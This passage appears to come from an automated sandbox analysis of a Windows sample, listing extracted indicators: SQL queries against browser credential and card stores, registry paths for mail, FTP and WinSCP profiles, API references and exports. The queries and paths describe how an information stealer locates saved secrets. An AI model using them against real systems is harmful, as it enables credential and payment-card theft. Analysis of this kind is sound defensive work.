FROM credit_cards" (Source: 36163-88-0044AF30, Indicator: "select name_on_card, expiration_month, expiration_year, card_number_encrypted from credit_cards") "SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards" (Source: 36163-88-0044AF30, Indicator: "select name_on_card, expiration_month, expiration_year, card_number_encrypted from credit_cards") "SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins" (Source: 36163-108-0044DCE0, Indicator: "select hostname, encryptedusername, encryptedpassword from moz_logins") "SELECT item1 FROM metadata WHERE id = 'password';" (Source: 36163-126-00450000, Indicator: "select item1 from metadata where id = 'password';") "SELECT a11,length(a11) FROM nssPrivate" (Source: 36163-126-00450000, Indicator: "select a11,length(a11) from nssprivate")53:T4a7,Found reference to API "CreateDirectoryW" (Indicator: "CreateDirectory"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CreateDirectoryExW" (Indicator: "CreateDirectory"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CreateDirectoryA" (Indicator: "CreateDirectory"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "SHCreateDirectoryExW" (Indicator: "CreateDirectory"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "FtpCreateDirectoryA" (Indicator: "CreateDirectory"; File: "00004636.0000121C.35638715.00401000.wprm") Found reference to API "CreateDirectoryW" (Indicator: "CreateDirectory"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "CreateDirectory" (Indicator: "CreateDirectory"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp")54:Ta7a,Found reference to API "DeviceIoControl" (Indicator: "DeviceIoControl"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "NtDeviceIoControlFile" (Indicator: "NtDeviceIoControlFile"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "NtDeviceIoControlFile" (Indicator: "DeviceIoControl"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CVdsVolume::PostExtendVolumeHandler, 100: DeviceIoControl (FSCTL_EXTEND_VOLUME) failed: %lX" (Indicator: "DeviceIoControl"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "CVdsVolume::PostExtendVolumeHandler, 101: DeviceIoControl (FSCTL_EXTEND_VOLUME) failed." (Indicator: "DeviceIoControl"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "DeviceIoControl" (Indicator: "DeviceIoControl"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "NtDeviceIoControlFile" (Indicator: "NtDeviceIoControlFile"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "NtDeviceIoControlFile" (Indicator: "DeviceIoControl"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "DeviceIoControl(%s - %p,0x%08lx,%p,%d,%p,%d,[%d])" (Indicator: "DeviceIoControl"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "DeviceIoControl(IOCTL_VOLUME_GET_GPT_ATTRIBUTES)" (Indicator: "DeviceIoControl"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "DeviceIoControl(IOCTL_VOLUME_SET_GPT_ATTRIBUTES)" (Indicator: "DeviceIoControl"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "DeviceIoControl(%s, IOCTL_VOLUME_ONLINE) fails: [0x%08lx]" (Indicator: "DeviceIoControl"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "DeviceIoControl(FSCTL_DISMOUNT_VOLUME)" (Indicator: "DeviceIoControl"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "DeviceIoControl( hDisk, IOCTL_DISK_GET_DISK_ATTRIBUTES, NULL, 0, &DiskAttributes, sizeof(DiskAttributes), &dwBytesReturned, NULL)" (Indicator: "DeviceIoControl"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp")55:T1008,Found reference to API "CreateFileW" (Indicator: "CreateFile"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CreateFileMappingW" (Indicator: "CreateFile"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CreateFileA" (Indicator: "CreateFile"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "NtOpenFile" (Indicator: "NtOpenFile"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "CVdsService::ToggleAutoMountPoint: CreateFile failed: %X" (Indicator: "CreateFile"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "CreateFile Failed for %ws, hr = %x" (Indicator: "CreateFile"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "CreateFile unsuccessful for %ws" (Indicator: "CreateFile"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "CreateFile failed for %s" (Indicator: "CreateFile"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "CreateFile failed %s" (Indicator: "CreateFile"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "NtOpenFile" (Indicator: "NtOpenFile"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "NtCreateFile" (Indicator: "CreateFile"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "NtCreateFile" (Indicator: "NtCreateFile"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "CreateFileW(%s,0x%08lx,0x%08lx,...)" (Indicator: "CreateFile"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "Error calling CreateFile on volume '%s'" (Indicator: "CreateFile"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "CreateFile(Volume %s)" (Indicator: "CreateFile"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "CreateFile(%s) failed with 0x%08lx" (Indicator: "CreateFile"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "CreateFile" (Indicator: "CreateFile"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "CreateFile(VOLUME)" (Indicator: "CreateFile"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "CreateFile(%s) failed: [0x%08lx]" (Indicator: "CreateFile"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "CreateFile(%s) failed with [0x%08lx]" (Indicator: "CreateFile"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "CreateFileW(%s) [0x%08lx]" (Indicator: "CreateFile"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "CreateFileW(%s) - BuildLunInfoForDrive" (Indicator: "CreateFile"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "Cannot online LUN %s. CreateFileW fails with [0x%08lx]" (Indicator: "CreateFile"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "CreateFileW(%s) == 0x%08lx" (Indicator: "CreateFile"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "CreateFileW(%s) fails [%#x]" (Indicator: "CreateFile"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp")56:T42b,Found reference to API "RegUnLoadKeyW" (Indicator: "RegUnLoadKey"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "RegCloseKey" (Indicator: "RegCloseKey"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "RegDisablePredefinedCache" (Indicator: "RegDisablePredefinedCache"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "RegCloseKey" (Indicator: "RegCloseKey"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp, 00000000-00004600.00000001.72048.00001000.00000020.mdmp") Found reference to API "RegUnLoadKeyW" (Indicator: "RegUnLoadKey"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp")57:T503,Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "FindResourceW" (Indicator: "FindResource"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "LockResource" (Indicator: "LockResource"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "FindResourceExW" (Indicator: "FindResource"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "FreeResource" (Indicator: "FreeResource"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "FindResourceW" (Indicator: "FindResource"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp")58:Tdf9,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "Wow64GetThreadContext" (Indicator: "GetThreadContext"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp, 00000000-00004600.00000001.72048.00001000.00000020.mdmp") Found reference to API "CVdsIscsiInitiatorAdapterInternal::LoginToTarget: CreateThread failed: %X" (Indicator: "CreateThread"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "CVdsIscsiInitiatorAdapterInternal::LogoutFromTarget: CreateThread failed: %X" (Indicator: "CreateThread"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "CVdsVolume::Extend, 5: CreateThread failed: %ld" (Indicator: "CreateThread"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "CRawDiskLun::Clean: CreateThread failed: %X" (Indicator: "CreateThread"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "VDS(0X0204000F): CreateThread failed: %X" (Indicator: "CreateThread"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "NtOpenThreadToken" (Indicator: "OpenThread"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "ResumeThread(%p) = -1, GetLastError() == 0x%08lx, m_eThreadState == %d" (Indicator: "ResumeThread"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "ResumeThread failed. Error: 0x%08lx. State: %d" (Indicator: "ResumeThread"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "CreateThread failed with error %d" (Indicator: "CreateThread"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp")59:T6e3,Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "OpenProcess" (Indicator: "OpenProcess"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp, 00000000-00004600.00000001.72048.00001000.00000020.mdmp") Found reference to API "NtOpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "OpenProcessToken failed with %d" (Indicator: "OpenProcess"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp")5a:Tcad,Found reference to API "SetLastError" (Indicator: "SetLastError"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetLastError" (Indicator: "GetLastError"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "WSAGetLastError" (Indicator: "GetLastError"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00001292.00000002.75845.00001000.00000020.mdmp, 00000000-00001828.00000001.73975.00001000.00000020.mdmp, 00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp, 00000000-00004600.00000001.72048.00001000.00000020.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "HRESULT_FROM_WIN32(GetLastError())" (Indicator: "GetLastError"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "WNetGetLastErrorW" (Indicator: "GetLastError"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "ResumeThread(%p) = -1, GetLastError() == 0x%08lx, m_eThreadState == %d" (Indicator: "GetLastError"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "WaitForMultipleObjects(%p,%p, %d) == WAIT_FAILED, GetLastError() == 0x%08lx" (Indicator: "GetLastError"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "WaitForSingleObject(%p,INFINITE) == WAIT_FAILED, GetLastError() == 0x%08lx, m_eThreadState == %d" (Indicator: "GetLastError"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "Cluster Node detection failed! [GetLastError() = %dL]" (Indicator: "GetLastError"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "::GetLastError()" (Indicator: "GetLastError"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetLastError() != ERROR_OUTOFMEMORY" (Indicator: "GetLastError"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetLastError( )" (Indicator: "GetLastError"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetLastError()" (Indicator: "GetLastError"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetLastError() == ERROR_NOT_FOUND" (Indicator: "GetLastError"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp")5b:Tbef,Found reference to API "StartServiceCtrlDispatcherW" (Indicator: "StartServiceCtrlDispatcher"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "StartServiceCtrlDispatcherW" (Indicator: "StartService"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "StartServiceW" (Indicator: "StartService"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "StartServiceCtrlDispatcherW" (Indicator: "StartServiceCtrlDispatcher"; Source: "00000000-00001292.00000002.75845.00001000.00000020.mdmp, 00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp, 00000000-00004600.00000001.72048.00001000.00000020.mdmp") Found reference to API "StartServiceCtrlDispatcherW" (Indicator: "StartService"; Source: "00000000-00001292.00000002.75845.00001000.00000020.mdmp, 00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp, 00000000-00004600.00000001.72048.00001000.00000020.mdmp") Found reference to API "StartServiceCtrlDispatcherA" (Indicator: "StartServiceCtrlDispatcher"; Source: "00000000-00001828.00000001.73975.00001000.00000020.mdmp") Found reference to API "StartServiceCtrlDispatcherA" (Indicator: "StartService"; Source: "00000000-00001828.00000001.73975.00001000.00000020.mdmp") Found reference to API "Error code for StartServiceCtrlDispatcher: %u." (Indicator: "StartServiceCtrlDispatcher"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "Error code for StartServiceCtrlDispatcher: %u." (Indicator: "StartService"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "StartServiceW" (Indicator: "StartService"; Source: "00000000-00003376.00000000.70935.4001D000.00000002.mdmp") Found reference to API "StartServiceCtrlDispatcher failed." (Indicator: "StartServiceCtrlDispatcher"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "StartServiceCtrlDispatcher failed." (Indicator: "StartService"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "StartServiceCtrlDispatcherW failed. 0x%08lx" (Indicator: "StartServiceCtrlDispatcher"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "StartServiceCtrlDispatcherW failed. 0x%08lx" (Indicator: "StartService"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp")5c:T892,"chrmstp.exe" contains export function called "GetHandleVerifier" at ordinal 1 "AcroRd32.exe" contains export function called "AcroRd32IsBrokerProcess" at ordinal 1 "AcroRd32.exe" contains export function called "GetWinstaDesktopInfoForRdrCEF" at ordinal 2 "elevation_service.exe" contains export function called "GetHandleVerifier" at ordinal 1 "chrome_pwa_launcher.exe" contains export function called "GetHandleVerifier" at ordinal 1 "dwtrig20.exe" contains export function called "_GetAllocCounters@0" at ordinal 1 "setup.exe" contains export function called "GetAllocCounters" at ordinal 1 "firefox.exe" contains export function called "GetHandleVerifier" at ordinal 1 "firefox.exe" contains export function called "IsSandboxedProcess" at ordinal 2 "firefox.exe" contains export function called "TargetConfigureOPMProtectedOutput" at ordinal 3 "firefox.exe" contains export function called "TargetConfigureOPMProtectedOutput64" at ordinal 4 "firefox.exe" contains export function called "TargetCreateNamedPipeW" at ordinal 5 "firefox.exe" contains export function called "TargetCreateNamedPipeW64" at ordinal 6 "firefox.exe" contains export function called "TargetCreateOPMProtectedOutputs" at ordinal 7 "firefox.exe" contains export function called "TargetCreateOPMProtectedOutputs64" at ordinal 8 "firefox.exe" contains export function called "TargetCreateProcessA" at ordinal 9 "firefox.exe" contains export function called "TargetCreateProcessA64" at ordinal 10 "firefox.exe" contains export function called "TargetCreateProcessW" at ordinal 11 "firefox.exe" contains export function called "TargetCreateProcessW64" at ordinal 12 "firefox.exe" contains export function called "TargetCreateThread" at ordinal 13 "firefox.exe" contains export function called "TargetCreateThread64" at ordinal 14 "firefox.exe" contains export function called "TargetDestroyOPMProtectedOutput" at ordinal 15 "firefox.exe" contains export function called "TargetDestroyOPMProtectedOutput64" at ordinal 16 "firefox.exe" contains export function called "TargetEnumDisplayDevicesA" at ordinal 17 "firefox.exe" contains export function called "TargetEnumDisplayDevicesA64" at ordinal 185d:T2b54,"Global\UsGthrFltPipeMssGthrPipe1_ Global\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "%ALLUSERSPROFILE%\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"" in Source: SearchProtocolHost.exe "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\*RD_" in Source: 36163-54-00462880 "Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\" in Source: 36163-87-00444B90 "Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\" in Source: 36163-87-00444B90 "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\" in Source: 36163-87-00444B90 "Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\" in Source: 36163-87-00444B90 "Software\FTPWare\COREFTP\Sites\" in Source: 36163-87-00444B90 "Software\Martin Prikryl\WinSCP 2\Sessions\" in Source: 36163-87-00444B90 "C:\Program Files\BraveSoftware\Brave-Browser\Application" in Source: 36163-102-0045A6F0 "C:\\Program Files (x86)\BraveSoftware\Brave-Browser\Application\GoogleChrome.exe" in Source: 36163-102-0045A6F0 "C:\Program Files\BraveSoftware\Brave-Browser\Application\BraveSoftware.exe" in Source: 36163-102-0045A6F0 "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command\" in Source: 36163-150-0044EEF0 "\BraveSoftware\Brave-Browser\User Data" in Source: 36163-2190-00463C17 "\BraveSoftware\Brave-Browser\Application" in Source: 00004636.0000121C.35638715.00401000.wprm "Software\Microsoft\Windows Search" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "Software\Microsoft\Windows Search\Gathering Manager\Applications\%s" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "Software\Microsoft\Windows Search\Tracing\EventThrottleState" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "Software\Microsoft\Windows Search\Gather\Windows\SystemIndex\Protocols" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "Software\Microsoft\Windows Search\Tracing\EventThrottleLastReported" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "SOFTWARE\Microsoft\Windows Search\Gathering Manager\Applications\Windows\PluginManagers" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "Software\Microsoft\Windows Search\PreviousSettings\Extensions" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" in Source: 00000000-00004520.00000001.74685.00051000.00000002.mdmp "Software\Microsoft\Fax\Accounts" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Receipts" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Routing Extensions" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Client" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Client\ServiceStartup" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Security" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Devices Cache" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Outbound Routing" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Outbound Routing\Groups" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Outbound Routing\Rules" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Devices" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\TAPIDevices" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Setup" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Logging" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Setup\Original Setup Data" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\ActivityLogging" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "Software\Microsoft\Fax\Device Providers" in Source: 00000000-00002220.00000000.70553.40001000.00000020.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Modules" in Source: 00000000-00002944.00000000.72156.002A0000.00000004.mdmp 00000000-00002944.00000001.74081.002A0000.00000004.mdmp 00000000-00002944.00000002.76003.002A0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects" in Source: 00000000-00002944.00000000.72156.002A0000.00000004.mdmp 00000000-00002944.00000001.74081.002A0000.00000004.mdmp 